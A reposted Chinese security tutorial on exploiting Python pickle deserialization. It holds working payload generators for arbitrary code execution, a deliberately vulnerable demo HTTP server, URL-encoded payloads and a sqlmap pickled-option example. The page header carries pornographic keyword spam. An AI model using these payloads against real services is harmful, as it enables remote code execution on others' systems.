日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造

發(fā)布時(shí)間:2024/9/27 php 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

*原創(chuàng)作者:bit4@勾陳安全實(shí)驗(yàn)室,MottoIN原創(chuàng)文章未經(jīng)許可禁止轉(zhuǎn)載

0x01 Pickle的典型應(yīng)用場景

一般在什么場景下需要用到Pickle?通常在解析認(rèn)證token,session的時(shí)候。(如果你知道更多,歡迎留言補(bǔ)充,感謝!)現(xiàn)在很多web都使用redis、mongodb、memcached等來存儲(chǔ)session等狀態(tài)信息。P神的文章就有一個(gè)很好的redis+python反序列化漏洞的很好例子:掌閱iReader某站Python漏洞挖掘 | 離別歌。

可能將對象Pickle后存儲(chǔ)成磁盤文件。

可能將對象Pickle后在網(wǎng)絡(luò)中傳輸。

可能參數(shù)傳遞給程序,比如sqlmap的代碼執(zhí)行漏洞

python sqlmap.py --pickled-options "Y29zCnN5c3RlbQooUydkaXInCnRSLg=="

0x02 如何構(gòu)造Payload1.執(zhí)行系統(tǒng)命令的Payload

首先構(gòu)造一個(gè)簡單的包含漏洞的代碼。

后續(xù)的驗(yàn)證過程中,將生成的Payload放到poc.pickle文件中,使用該代碼來讀取PoC驗(yàn)證效果(我將其保存為dopickle.py)。

__author__ = 'bit4'

import pickle

pickle.load(open('./poc.pickle'))

值得注意的是,pickle有l(wèi)oad和loads2個(gè)方法,load需要的參數(shù)是文件句柄,loads所需要的參數(shù)是字符串。

pickle允許任意對象去定義一個(gè)__reduce__方法來申明怎么序列化這個(gè)對象。這個(gè)方法返回一個(gè)字符串或者元組來描述當(dāng)反序列化的時(shí)候該如何重構(gòu)。

使用os.system執(zhí)行命令的payload

#!/usr/bin/env python

#coding: utf-8

__author__ = 'bit4'

import cPickle

import os

class genpoc(object):

def __reduce__(self):

s = """echo test >poc.txt""" #要執(zhí)行的命令

return os.system, (s,) #os.system("echo test >poc.txt")

e = genpoc()

poc = cPickle.dumps(e)

print poc

輸出內(nèi)容,也就是Payload:

cnt

system

p1

(S'echo test >poc.txt'

p2

tRp3

.我們將如上生成的pyload放到poc.pickle文件中,然后執(zhí)行驗(yàn)證代碼dopickle.py,成功執(zhí)行了"echo test >poc.txt"。

現(xiàn)在問題來了,如何在實(shí)際的web環(huán)境中使用這些payload呢?

我們先實(shí)現(xiàn)一個(gè)簡單的httpserver(dopicklehttpserver.py):

#coding:utf-8

__author__ = 'bit4'

import BaseHTTPServer

import urllib

import cPickle

class ServerHandler(BaseHTTPServer.BaseHTTPRequestHandler):

def do_GET(self):

if "?payload" in self.path:

query= urllib.splitquery(self.path)

action = query[1].split('=')[1] #這種寫法是一個(gè)坑,如果參數(shù)payload的值中包含了等號,將導(dǎo)致不正確,pickle將報(bào)“insecure string pickle”錯(cuò)誤。

#action = query[1].replace("payload=","") #這種寫法可以避免=的問題,但實(shí)際的項(xiàng)目中肯定不是這么寫,求指教~

print action

try:

x = cPickle.loads(action) #string argv

content = x

except Exception,e:

print e

content = e

else:

content = "hello World"

self.send_response(200)

self.send_header("Content-type","text/html")

self.end_headers()

self.wfile.write("")

self.wfile.write("%s" % content)

self.wfile.write("")

if __name__ == '__main__':

srvr = BaseHTTPServer.HTTPServer(('',8000), ServerHandler)

print 'started httpserver...'

srvr.serve_forever()

運(yùn)行以上代碼后,通過如下URL訪問web,傳遞Payload給服務(wù)器。

127.0.0.1:8000/?payload=xxxx

怎么將Payload放到參數(shù)中呢,一個(gè)直接的想法是使用\n來換行、使用url編碼,Payload如下:

使用\n代替

cnt\nsystem\np1\n(S'echo test >poc.txt'\np2\ntRp3\n.

使用URl編碼(換行符是%0A)

cnt%0Asystem%0Ap1%0A(S'echo test >poc.txt'%0Ap2%0AtRp3%0A.

使用URl編碼(換行符是%0d%0a)

cnt%0d%0asystem%0d%0ap1%0d%0a(S%27echo+test+%3epoc.txt%27%0d%0ap2%0d%0atRp3%0d%0a

經(jīng)過測試,第二種,使用%0A做換行符的是有效的payload,得到了成功執(zhí)行。(但其實(shí)想想也該是它,作為url中的參數(shù),當(dāng)然該使用url編碼啊)

http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27echo%20test%20%3Epoc.txt%27%0Ap2%0AtRp3%0A.

在PHP中還有有一種比較常見的思路,通過base64編碼后傳遞,如下這種,那我們可以在python中借鑒。這部分內(nèi)容包含在了“執(zhí)行任意python代碼的payload”小節(jié)中。

http://www.xxx.com?path=php://filter/write=convert.base64-decode/resource=1.php

2.執(zhí)行任意python代碼執(zhí)行payload

我們的目標(biāo)是實(shí)現(xiàn)任意代碼執(zhí)行,所以我們要序列化的對象成了code類型,但是pickle是不能序列化code對象的。

但幸運(yùn)的是,從python2.6起,包含了一個(gè)可以序列化code對象的模塊--Marshal。由于python可以在函數(shù)當(dāng)中再導(dǎo)入模塊和定義函數(shù),所以我們可以將自己要執(zhí)行的代碼都寫到一個(gè)函數(shù)里foo(), 所以有了如下代碼:

__author__ = 'bit4'

import marshalimport base64

def foo():#you should write your code in this function

import os

def fib(n):

if n <= 1:

return n

return fib(n-1) + fib(n-2)

print 'fib(10) =', fib(10)

os.system('echo anycode >>poc.txt')

print base64.b64encode(marshal.dumps(foo.func_code))

#print cPickle.dumps(foo.func_code) #TypeError: can't pickle code objects

想要這段輸出的base64的內(nèi)容得到執(zhí)行,我們需要如下代碼:

(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()

寫得更容易閱讀點(diǎn):

code_str = base64.b64decode(code_enc)

code = marshal.loads(code_str)

func = types.FunctionType(code, globals(), '')

func()

把這段代碼轉(zhuǎn)換成pickle后的格式,需要了解pickle的數(shù)據(jù)格式和指令。詳細(xì)的轉(zhuǎn)換過程可以參考:https://www.cs.uic.edu/~s/musings/pickle/c:讀取新的一行作為模塊名module,讀取下一行作為對象名object,然后將module.object壓入到堆棧中。

(:將一個(gè)標(biāo)記對象插入到堆棧中。為了實(shí)現(xiàn)我們的目的,該指令會(huì)與t搭配使用,以產(chǎn)生一個(gè)元組。

t:從堆棧中彈出對象,直到一個(gè)“(”被彈出,并創(chuàng)建一個(gè)包含彈出對象(除了“(”)的元組對象,并且這些對象的順序必須跟它們壓入堆棧時(shí)的順序一致。然后,該元組被壓入到堆棧中。

S:讀取引號中的字符串直到換行符處,然后將它壓入堆棧。

R:將一個(gè)元組和一個(gè)可調(diào)用對象彈出堆棧,然后以該元組作為參數(shù)調(diào)用該可調(diào)用的對象,最后將結(jié)果壓入到堆棧中。

.:結(jié)束pickle。

最終的可以執(zhí)行任意代碼的payload生成器(第一種),foo()函數(shù)中的部分是你應(yīng)該自己編寫替換的代碼:

def foo():#you should write your code in this function

import os

def fib(n):

if n <= 1:

return n

return fib(n-1) + fib(n-2)

print 'fib(10) =', fib(10)

os.system('echo anycode >>poc.txt')

print """ctypesFunctionType(cmarshalloads(cbase64b64decode(StRtRc__builtin__globals(tRS''tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))

將以上代碼生成的payload分別用于dopickle.py和dopicklehttpserver.py中進(jìn)行測試。均成功執(zhí)行命令。

注意:這里有一個(gè)坑,如上的dopicklehttpserver.py寫法中,如果生成的payload中有等號(base64經(jīng)常有等號),將導(dǎo)致參數(shù)獲取不正確,而pickle.loads()的時(shí)候, pickle將報(bào)“insecure string pickle”錯(cuò)誤。

如何正確從請求中獲取參數(shù),請知道的大俠留言告訴我。

使用eval函數(shù),但是它的一個(gè)限制是只接受表達(dá)式,不能包含函數(shù)和類的聲明。(使用pickle序列化后的代碼對象就達(dá)到了要求???)

執(zhí)行任意代碼的payload生成器(第二種):

try:

import cPickle as pickle

except ImportError:

import pickle

from sys import argv

def picklecompiler(sourcefile):

sourcecode = file(sourcefile).read()

return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS''\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)

def usage():

print '''usage: python%sfilename''' % argv[0]

if __name__ == "__main__":

if len(argv) == 2:

print picklecompiler(argv[1])

else:

usage()

對以上代碼生成的payload進(jìn)行了測試,也只是成功執(zhí)行了未包含函數(shù)和類的python代碼,包含函數(shù)和類的則為執(zhí)行成功。

3.終極payload生成器

Paper:

老外寫的一個(gè)payload生成工具,地址為sensepost/anapickle 該工具中包含了大量的成熟payload,有了以上知識,不難理解其中的代碼,也可以自己進(jìn)行修改了。

0x03 參考

*原創(chuàng)作者:bit4@勾陳安全實(shí)驗(yàn)室,MottoIN原創(chuàng)文章未經(jīng)許可禁止轉(zhuǎn)載

總結(jié)

以上是生活随笔為你收集整理的php调用python pkl_Python Pickle的任意代码执行漏洞实践和Payload构造的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。